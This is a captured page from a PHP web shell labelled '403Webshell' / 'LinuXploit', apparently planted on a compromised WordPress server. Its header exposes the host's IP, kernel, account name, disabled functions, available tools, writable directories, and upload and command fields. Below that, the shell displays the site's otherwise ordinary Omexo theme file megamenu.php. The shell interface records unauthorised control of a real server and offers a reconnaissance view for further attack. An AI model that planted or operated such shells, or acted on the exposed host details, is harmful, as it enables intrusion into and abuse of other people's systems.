403Webshell
Server IP : 178.63.100.251  /  Your IP : 216.73.216.228
Web Server : LiteSpeed
System : Linux dobby.thevpsserver.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : truewayi ( 1855)
PHP Version : 7.4.33
Disable Function : show_source,system,shell_exec,passthru,exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/truewayi/public_html/wp-content/themes/omexo/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/truewayi/public_html/wp-content/themes/omexo/inc/megamenu.php
<?php

/**
 * Register the Megamenu Custom Post Type
 */
function register_omexo_megamenu_post_type()
{
	$labels = array(
		'name'                  => 'Mega Menu',
		'singular_name'         => 'Mega Menu',
		'menu_name'             => 'Mega Menus',
		'name_admin_bar'        => 'Mega Menu',
		'add_new'               => 'Add New',
		'add_new_item'          => 'Add New Mega Menu',
		'new_item'              => 'New Mega Menu',
		'edit_item'             => 'Edit Mega Menu',
		'view_item'             => 'View Mega Menu',
		'all_items'             => 'All Mega Menus',
		'search_items'          => 'Search Mega Menus',
		'parent_item_colon'     => 'Parent Mega Menus:',
		'not_found'             => 'No Mega Menus found.',
		'not_found_in_trash'    => 'No Mega Menus found in Trash.',
	);

	$args = array(
		'labels'             => $labels,
		'public'             => true,
		'publicly_queryable' => true,
		'show_ui'            => true,
		'show_in_menu'       => true,
		'menu_icon'          => 'dashicons-menu-alt3',
		'query_var'          => true,
		'rewrite'            => array('slug' => 'omexo_megamenu'),
		'capability_type'    => 'post',
		'has_archive'        => true,
		'hierarchical'       => false,
		'menu_position'      => null,
		'supports'           => array('title', 'editor', 'thumbnail'),
	);

	register_post_type('omexo_megamenu', $args);
}
add_action('init', 'register_omexo_megamenu_post_type');

/*
 * Add a Custom Meta Box to Menu Items
 */
function omexo_megamenu_menu_meta_box()
{
	add_meta_box(
		'omexo_megamenu_meta_box',
		'Mega Menu Posts',
		'omexo_megamenu_meta_box_callback',
		'nav-menus',
		'side',
		'high'
	);
}
add_action('admin_head-nav-menus.php', 'omexo_megamenu_menu_meta_box');

function omexo_megamenu_meta_box_callback()
{
	$mega_menu_posts = get_posts(array(
		'post_type' => 'omexo_megamenu',
		'posts_per_page' => -1
	));

	if (!empty($mega_menu_posts)) {
		echo '<ul>';
		foreach ($mega_menu_posts as $post) {
			$post_title = esc_html($post->post_title);
			$post_id = esc_attr($post->ID);
			echo "<li><label><input type='checkbox' class='menu-item-checkbox' value='{$post_id}'> {$post_title}</label></li>";
		}
		echo '</ul>';
		echo '<button class="button-secondary submit-add-to-menu right">Add to Menu</button>';
		echo '<br class="clear">';
	} else {
		echo 'No Mega Menu posts found.';
	}
}

/**
 * Save the Selected Custom Post Type to the Menu Item
 */
function omexo_megamenu_custom_menu_item($menu_id, $menu_item_db_id, $args)
{
	if (isset($_REQUEST['menu-item-omexo_megamenu'])) {
		$omexo_megamenu_id = $_REQUEST['menu-item-omexo_megamenu'][$menu_item_db_id];
		update_post_meta($menu_item_db_id, '_menu_item_omexo_megamenu', $omexo_megamenu_id);
	}
}
add_action('wp_update_nav_menu_item', 'omexo_megamenu_custom_menu_item', 10, 3);

function omexo_megamenu_custom_menu_item_meta($item_id, $item, $depth, $args)
{
	$omexo_megamenu_id = get_post_meta($item_id, '_menu_item_omexo_megamenu', true);
?>
	<p class="field-omexo_megamenu description description-wide">
		<label for="edit-menu-item-omexo_megamenu-<?php echo $item_id; ?>">
			Selext Mega Menu<br />
			<select id="edit-menu-item-omexo_megamenu-<?php echo $item_id; ?>" class="widefat code edit-menu-item-omexo_megamenu" name="menu-item-omexo_megamenu[<?php echo $item_id; ?>]">
				<option value=""><?php _e('Select a Mega Menu'); ?></option>
				<?php
				$mega_menu_posts = get_posts(array(
					'post_type' => 'omexo_megamenu',
					'posts_per_page' => -1
				));
				foreach ($mega_menu_posts as $post) {
					$selected = selected($omexo_megamenu_id, $post->ID, false);
					echo "<option value='{$post->ID}' {$selected}>{$post->post_title}</option>";
				}
				?>
			</select>
		</label>
	</p>
<?php
}
add_action('wp_nav_menu_item_custom_fields', 'omexo_megamenu_custom_menu_item_meta', 10, 4);

function omexo_megamenu_save_custom_menu_item_meta($menu_id, $menu_item_db_id, $args)
{
	if (isset($_REQUEST['menu-item-omexo_megamenu'][$menu_item_db_id])) {
		$omexo_megamenu_id = $_REQUEST['menu-item-omexo_megamenu'][$menu_item_db_id];
		update_post_meta($menu_item_db_id, '_menu_item_omexo_megamenu', $omexo_megamenu_id);
	} else {
		delete_post_meta($menu_item_db_id, '_menu_item_omexo_megamenu');
	}
}
add_action('wp_update_nav_menu_item', 'omexo_megamenu_save_custom_menu_item_meta', 10, 3);

/**
 * Add class 'menu-item-has-children' to menu items with mega menu assigned
 */
function omexo_megamenu_add_class_to_menu_items($items, $args)
{
	foreach ($items as $item) {
		$omexo_megamenu_id = get_post_meta($item->ID, '_menu_item_omexo_megamenu', true);
		if (!empty($omexo_megamenu_id)) {
			if (!in_array('menu-item-has-children', $item->classes)) {
				$item->classes[] = 'menu-item-has-children omexo-mega-menu';
			}
		}
	}
	return $items;
}
add_filter('wp_nav_menu_objects', 'omexo_megamenu_add_class_to_menu_items', 10, 2);

/**
 * Display the Custom Post Type as a Submenu
 */
function omexo_megamenu_display_submenu($item_output, $item, $depth, $args)
{
	$omexo_megamenu_id = get_post_meta($item->ID, '_menu_item_omexo_megamenu', true);
	if (!empty($omexo_megamenu_id)) {
		$omexo_megamenu = get_post($omexo_megamenu_id);
		if ($omexo_megamenu) {
			$item_output .= '<ul class="sub-menu omexo-mega-menu-wrap">';
			// Apply Elementor content filter if Elementor is active
			if (did_action('elementor/loaded')) {
				$content = \Elementor\Plugin::instance()->frontend->get_builder_content_for_display($omexo_megamenu_id);
			} else {
				$content = apply_filters('the_content', $omexo_megamenu->post_content);
			}
			$item_output .= '<div class="omexo-mega-menu-content">' . $content . '</div>';
			$item_output .= '</ul>';
		}
	}
	return $item_output;
}
add_filter('walker_nav_menu_start_el', 'omexo_megamenu_display_submenu', 10, 4);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit